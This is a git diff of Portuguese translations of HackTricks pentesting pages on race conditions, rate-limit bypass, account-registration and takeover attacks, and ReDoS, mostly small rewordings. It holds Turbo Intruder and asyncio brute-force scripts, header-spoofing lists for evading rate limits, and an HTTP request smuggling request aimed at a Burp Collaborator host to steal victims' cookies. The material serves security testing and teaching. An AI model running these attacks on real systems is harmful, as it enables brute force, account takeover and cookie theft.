* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -20,12 +20,12 @@ Verifique a seguinte página para ver como **burlar WAFs abusando das inconsist
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -3,21 +3,21 @@
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje mesmo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -28,26 +28,26 @@ Para obter uma compreensão profunda dessa técnica, confira o relatório origin
## Aperfeiçoando Ataques de Condição de Corrida
O principal desafio ao aproveitar as condições de corrida é garantir que várias solicitações sejam tratadas ao mesmo tempo, com **muito pouca diferença em seus tempos de processamento—idealmente, menos de 1ms**.
O principal obstáculo para aproveitar as condições de corrida é garantir que múltiplas solicitações sejam tratadas ao mesmo tempo, com **muito pouca diferença em seus tempos de processamento—idealmente, menos de 1ms**.
Aqui você pode encontrar algumas técnicas para Sincronização de Solicitações:
#### Ataque de Único Pacote HTTP/2 vs. Sincronização de Último Byte HTTP/1.1
- **HTTP/2**: Suporta o envio de duas solicitações por uma única conexão TCP, reduzindo o impacto da oscilação de rede. No entanto, devido a variações do lado do servidor, duas solicitações podem não ser suficientes para um exploit de condição de corrida consistente.
- **HTTP/1.1 'Sincronização de Último Byte'**: Permite o pré-envio da maioria das partes de 20-30 solicitações, retendo um pequeno fragmento, que é então enviado em conjunto, alcançando a chegada simultânea ao servidor.
- **HTTP/2**: Suporta o envio de duas solicitações por uma única conexão TCP, reduzindo o impacto da oscilação de rede. No entanto, devido a variações do lado do servidor, duas solicitações podem não ser suficientes para um exploit consistente de condição de corrida.
- **HTTP/1.1 'Sincronização de Último Byte'**: Permite o pré-envio da maioria das partes de 20-30 solicitações, retendo um pequeno fragmento, que é então enviado juntamente, alcançando a chegada simultânea ao servidor.
A **Preparação para a Sincronização de Último Byte** envolve:
1. Enviar cabeçalhos e dados do corpo menos o byte final sem encerrar o fluxo.
1. Enviar cabeçalhos e dados do corpo menos o último byte sem encerrar o fluxo.
2. Pausar por 100ms após o envio inicial.
3. Desativar o TCP_NODELAY para utilizar o algoritmo de Nagle para agrupar quadros finais.
4. Fazer um ping para aquecer a conexão.
O envio subsequente dos quadros retidos deve resultar em sua chegada em um único pacote, verificável via Wireshark. Este método não se aplica a arquivos estáticos, que normalmente não estão envolvidos em ataques de CC.
O subsequente envio de quadros retidos deve resultar em sua chegada em um único pacote, verificável via Wireshark. Este método não se aplica a arquivos estáticos, que normalmente não estão envolvidos em ataques de CC.
### Adaptação à Arquitetura do Servidor
### Adaptando-se à Arquitetura do Servidor
Compreender a arquitetura do alvo é crucial. Servidores front-end podem rotear solicitações de forma diferente, afetando o tempo. O aquecimento preemptivo da conexão do lado do servidor, por meio de solicitações inconsequentes, pode normalizar o tempo de solicitação.
Compreender a arquitetura do alvo é crucial. Servidores front-end podem rotear solicitações de forma diferente, afetando o tempo. O aquecimento da conexão do lado do servidor de forma preventiva, por meio de solicitações inconsequentes, pode normalizar o tempo de solicitação.
#### Lidando com Bloqueios Baseados em Sessão
@ -60,11 +60,11 @@ Se o aquecimento da conexão for ineficaz, provocar intencionalmente atrasos nos
## Exemplos de Ataque
* **Tubo Intruder - Ataque de único pacote HTTP2 (1 endpoint)**: Você pode enviar a solicitação para o **Turbo Intruder** (`Extensões` -> `Turbo Intruder` -> `Enviar para o Turbo Intruder`), pode alterar na solicitação o valor que deseja forçar bruta para **`%s`** como em `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e então selecionar o **`exemplos/race-single-packer-attack.py`** no menu suspenso:
* **Tubo Intruder - Ataque de único pacote HTTP2 (1 endpoint)**: Você pode enviar a solicitação para o **Turbo Intruder** (`Extensões` -> `Turbo Intruder` -> `Enviar para o Turbo Intruder`), você pode alterar na solicitação o valor que deseja forçar bruta para **`%s`** como em `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e então selecionar o **`exemplos/race-single-packer-attack.py`** no menu suspenso:
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Se você for **enviar valores diferentes**, poderia modificar o código com este que usa uma lista de palavras da área de transferência:
Se você for enviar **valores diferentes**, você poderia modificar o código com este que usa uma lista de palavras da área de transferência:
```python
passwords = wordlists.clipboard
for password in passwords:
@ -111,7 +111,7 @@ engine.openGate(currentAttempt)
* Para **atrasar** o processo **entre** o processamento **de uma solicitação e outra** em etapas de 2 subestados, você poderia **adicionar solicitações extras entre** ambas as solicitações.
* Para um RC de **múltiplos pontos finais**, você poderia começar enviando a **solicitação** que **vai para o estado oculto** e então **50 solicitações** logo após que **exploram o estado oculto**.
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Bruto BF
@ -166,7 +166,7 @@ print(results)
asyncio.run(main())
```
## Metodologia de RC
## **Metodologia RC**
### Limite de estouro / TOCTOU
@ -174,15 +174,15 @@ Este é o tipo mais básico de condição de corrida onde **vulnerabilidades** q
Existem muitas variações desse tipo de ataque, incluindo:
- Resgatar um cartão-presente várias vezes
- Avaliar um produto várias vezes
- Sacar ou transferir dinheiro acima do saldo da sua conta
- Reutilizar uma solução CAPTCHA única
- Bypass de um limite de taxa anti-brute-force
* Resgatar um cartão-presente várias vezes
* Avaliar um produto várias vezes
* Sacar ou transferir dinheiro acima do saldo da sua conta
* Reutilizar uma solução CAPTCHA única
* Bypass de um limite de taxa anti-brute-force
### **Subestados ocultos**
Explorar condições de corrida complexas frequentemente envolve aproveitar breves oportunidades para interagir com subestados de máquina ocultos ou **não intencionais**. Veja como abordar isso:
Explorar condições de corrida complexas frequentemente envolve aproveitar breves oportunidades para interagir com subestados ocultos ou **não intencionais da máquina**. Veja como abordar isso:
1. **Identificar Subestados Ocultos Potenciais**
- Comece identificando endpoints que modificam ou interagem com dados críticos, como perfis de usuário ou processos de redefinição de senha. Concentre-se em:
@ -246,17 +246,17 @@ session['enforce_mfa'] = True
### Persistência eterna do OAuth2
Existem vários [**provedores de OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Esses serviços permitirão que você crie um aplicativo e autentique usuários registrados pelo provedor. Para fazer isso, o **cliente** precisará **permitir que seu aplicativo** acesse alguns de seus dados dentro do **provedor de OAuth**.\
Então, até aqui apenas um login comum com google/linkedin/github... onde você é solicitado com uma página dizendo: "_O aplicativo \<InsertCoolName> deseja acessar suas informações, você deseja permitir?_"
Portanto, até aqui é apenas um login comum com google/linkedin/github... onde você é solicitado com uma página dizendo: "_O aplicativo \<InsertCoolName> deseja acessar suas informações, você deseja permitir?_"
#### Condição de corrida em `authorization_code`
O **problema** surge quando você **aceita** e automaticamente envia um **`authorization_code`** para o aplicativo malicioso. Em seguida, este **aplicativo abusa de uma Condição de Corrida no provedor de serviços de OAuth para gerar mais de um AT/RT** (_Token de Autenticação/Token de Atualização_) a partir do **`authorization_code`** para sua conta. Basicamente, ele abusará do fato de você ter aceitado o aplicativo para acessar seus dados e **criará várias contas**. Então, se você **parar de permitir que o aplicativo acesse seus dados, um par de AT/RT será excluído, mas os outros ainda serão válidos**.
O **problema** surge quando você **aceita** e automaticamente envia um **`authorization_code`** para o aplicativo malicioso. Em seguida, este **aplicativo abusa de uma Condição de Corrida no provedor de serviços de OAuth para gerar mais de um AT/RT** (_Authentication Token/Refresh Token_) a partir do **`authorization_code`** para sua conta. Basicamente, ele abusará do fato de você ter aceitado o aplicativo para acessar seus dados e **criará várias contas**. Então, se você **parar de permitir que o aplicativo acesse seus dados, um par de AT/RT será excluído, mas os outros ainda serão válidos**.
#### Condição de corrida em `Refresh Token`
Uma vez que você **obteve um RT válido**, você poderia tentar **abusar dele para gerar vários AT/RT** e **mesmo se o usuário cancelar as permissões** para o aplicativo malicioso acessar seus dados, **vários RTs ainda serão válidos**.
## **CC em WebSockets**
## **RC em WebSockets**
Em [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) você pode encontrar um PoC em Java para enviar mensagens de websocket em **paralelo** para abusar de **Condições de Corrida também em Web Sockets**.
@ -274,10 +274,10 @@ Em [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -286,6 +286,6 @@ Outras maneiras de apoiar o HackTricks:
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, alimentados pelas ferramentas comunitárias mais avançadas do mundo.\
Obtenha Acesso Hoje:
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,4 +1,4 @@
# Bypass de Limite de Taxa
# Bypass do Limite de Taxa
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -17,7 +17,7 @@ Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -30,8 +30,8 @@ Devem ser feitas tentativas de ataques de força bruta em variações do endpoin
### Incorporando Caracteres em Branco no Código ou Parâmetros
Inserir bytes em branco como `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` no código ou parâmetros pode ser uma estratégia útil. Por exemplo, ajustar um parâmetro para `code=1234%0a` permite estender as tentativas através de variações na entrada, como adicionar caracteres de nova linha a um endereço de e-mail para contornar limitações de tentativas.
### Manipulando a Origem do IP por Meio de Cabeçalhos
Modificar cabeçalhos para alterar a origem do IP percebida pode ajudar a evitar a limitação de taxa baseada em IP. Cabeçalhos como `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, incluindo o uso de várias instâncias de `X-Forwarded-For`, podem ser ajustados para simular solicitações de IPs diferentes.
### Manipulando a Origem do IP por Meio de Headers
Modificar headers para alterar a origem do IP percebida pode ajudar a evitar a limitação de taxa baseada em IP. Headers como `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, incluindo o uso de múltiplas instâncias de `X-Forwarded-For`, podem ser ajustados para simular solicitações de IPs diferentes.
```bash
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
@ -46,16 +46,40 @@ X-Forwarded-For:
X-Forwarded-For: 127.0.0.1
```
### Alterando Outros Cabeçalhos
Alterar outros cabeçalhos de requisição, como o user-agent e cookies, é recomendado, pois eles também podem ser usados para identificar e rastrear padrões de requisição. Alterar esses cabeçalhos pode evitar o reconhecimento e rastreamento das atividades do solicitante.
Alterar outros cabeçalhos de solicitação, como o user-agent e cookies, é recomendado, pois eles também podem ser usados para identificar e rastrear padrões de solicitação. Alterar esses cabeçalhos pode evitar o reconhecimento e rastreamento das atividades do solicitante.
### Aproveitando o Comportamento do Gateway de API
Alguns gateways de API são configurados para aplicar limites de taxa com base na combinação de endpoint e parâmetros. Variando os valores dos parâmetros ou adicionando parâmetros não significativos à requisição, é possível contornar a lógica de limitação de taxa do gateway, fazendo com que cada requisição pareça única. Por exemplo `/resetpwd?someparam=1`.
Alguns gateways de API são configurados para aplicar limites de taxa com base na combinação de endpoint e parâmetros. Variando os valores dos parâmetros ou adicionando parâmetros não significativos à solicitação, é possível contornar a lógica de limitação de taxa do gateway, fazendo com que cada solicitação pareça única.
Por exemplo `/resetpwd?someparam=1`.
### Fazendo Login na Sua Conta Antes de Cada Tentativa
Fazer login em uma conta antes de cada tentativa, ou a cada conjunto de tentativas, pode redefinir o contador de limite de taxa. Isso é especialmente útil ao testar funcionalidades de login. Utilizar um ataque Pitchfork em ferramentas como o Burp Suite, para rotacionar credenciais a cada poucas tentativas e garantir que os redirecionamentos sejam marcados, pode reiniciar efetivamente os contadores de limite de taxa.
### Utilizando Redes de Proxy
Implantar uma rede de proxies para distribuir as requisições em vários endereços IP pode contornar efetivamente os limites de taxa baseados em IP. Ao rotear o tráfego por vários proxies, cada requisição parece originar-se de uma fonte diferente, diluindo a eficácia do limite de taxa.
Implantar uma rede de proxies para distribuir as solicitações em vários endereços IP pode contornar efetivamente os limites de taxa baseados em IP. Ao rotear o tráfego por vários proxies, cada solicitação parece originar-se de uma fonte diferente, diluindo a eficácia do limite de taxa.
### Dividindo o Ataque Entre Diferentes Contas ou Sessões
Se o sistema alvo aplicar limites de taxa com base em uma conta ou sessão específica, distribuir o ataque ou teste entre várias contas ou sessões pode ajudar a evitar detecção. Esse método requer o gerenciamento de múltiplas identidades ou tokens de sessão, mas pode distribuir efetivamente a carga para permanecer dentro dos limites permitidos.
Se o sistema de destino aplicar limites de taxa com base em uma conta ou sessão, distribuir o ataque ou teste entre várias contas ou sessões pode ajudar a evitar detecção. Esse método requer o gerenciamento de várias identidades ou tokens de sessão, mas pode distribuir efetivamente a carga para permanecer dentro dos limites permitidos.
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -4,13 +4,13 @@
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -25,29 +25,29 @@ Outras formas de apoiar o HackTricks:
* adicione algum ponto no e-mail
* caracteres especiais no nome do e-mail (%00, %09, %20)
* Coloque caracteres em branco após o e-mail: `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
* vítima@gmail.com@atacante.com
* vítima@atacante.com@gmail.com
### Enumeração de Nome de Usuário
### Enumeração de Usuário
Verifique se é possível descobrir quando um nome de usuário já foi registrado dentro da aplicação.
Verifique se você consegue descobrir quando um nome de usuário já foi registrado dentro da aplicação.
### Política de Senhas
Ao criar um usuário, verifique a política de senhas (verifique se é possível usar senhas fracas).\
Ao criar um usuário, verifique a política de senhas (verifique se você pode usar senhas fracas).\
Nesse caso, você pode tentar forçar credenciais.
### Injeção de SQL
[**Verifique esta página** ](sql-injection/#insert-statement)para aprender como tentar assumir contas ou extrair informações via **Injeções de SQL** em formulários de registro.
### Assunção de Controle Oauth
### Assunções de Oauth
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %}
### Vulnerabilidades SAML
### Vulnerabilidades de SAML
{% content-ref url="saml-attacks/" %}
[saml-attacks](saml-attacks/)
@ -59,7 +59,7 @@ Após o registro, tente alterar o e-mail e verifique se essa alteração é vali
### Mais Verificações
* Verifique se é possível usar **e-mails descartáveis**
* Verifique se você pode usar **e-mails descartáveis**
* **Senha longa** (>200) leva a **DoS**
* **Verifique limites de taxa na criação de contas**
* Use username@**burp\_collab**.net e analise o **callback**
@ -125,7 +125,7 @@ Tente determinar se o token expira ou se é sempre o mesmo, em alguns casos, o a
### Vazamento de Token de Redefinição de Senha <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
1. Inicie uma solicitação de redefinição de senha usando a API/UI para um e-mail específico, por exemplo: test@mail.com
1. Acione uma solicitação de redefinição de senha usando a API/UI para um e-mail específico, por exemplo: test@mail.com
2. Inspecione a resposta do servidor e verifique o `resetToken`
3. Em seguida, use o token em uma URL como `https://exemplo.com/v3/user/password/reset?resetToken=[O_RESET_TOKEN]&email=[O_EMAIL]`
@ -149,9 +149,9 @@ Veja: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
1. Use o **smuggler** para detectar o tipo de HTTP Request Smuggling (CL, TE, CL.TE)\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2. Crie uma requisição que sobrescreverá o `POST / HTTP/1.1` com os seguintes dados:\
`GET http://algo.burpcollaborator.net HTTP/1.1 X:` com o objetivo de redirecionar os alvos para o burpcollab e roubar seus cookies\
3. A requisição final pode se parecer com o seguinte:
2. Crie uma solicitação que sobrescreverá o `POST / HTTP/1.1` com os seguintes dados:\
`GET http://algo.burpcollaborator.net HTTP/1.1 X:` com o objetivo de redirecionar os alvos para burpcollab e roubar seus cookies\
3. A solicitação final pode se parecer com o seguinte:
```
GET / HTTP/1.1
Transfer-Encoding: chunked
@ -163,16 +163,16 @@ Content-Length: 83
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
### Relatórios do Hackerone explorando esse bug\
Hackerone relata a exploração desse bug\
* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Assumir Conta via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
### Assunção de Conta via CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
1. Criar um payload para o CSRF, por exemplo: "Formulário HTML com envio automático para alteração de senha"
2. Enviar o payload
### Assumir Conta via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
### Assunção de Conta via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
O Token JSON Web pode ser usado para autenticar um usuário.
@ -191,12 +191,12 @@ O Token JSON Web pode ser usado para autenticar um usuário.
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -9,14 +9,14 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
# Denial of Service de Expressão Regular (ReDoS)
Um **Denial of Service de Expressão Regular (ReDoS)** acontece quando alguém se aproveita de vulnerabilidades na forma como as expressões regulares (uma maneira de pesquisar e combinar padrões em texto) funcionam. Às vezes, quando as expressões regulares são usadas, elas podem se tornar muito lentas, especialmente se o pedaço de texto com o qual estão trabalhando fica maior. Essa lentidão pode se tornar tão ruim que cresce muito rapidamente mesmo com pequenos aumentos no tamanho do texto. Os atacantes podem usar esse problema para fazer um programa que usa expressões regulares parar de funcionar corretamente por um longo período de tempo.
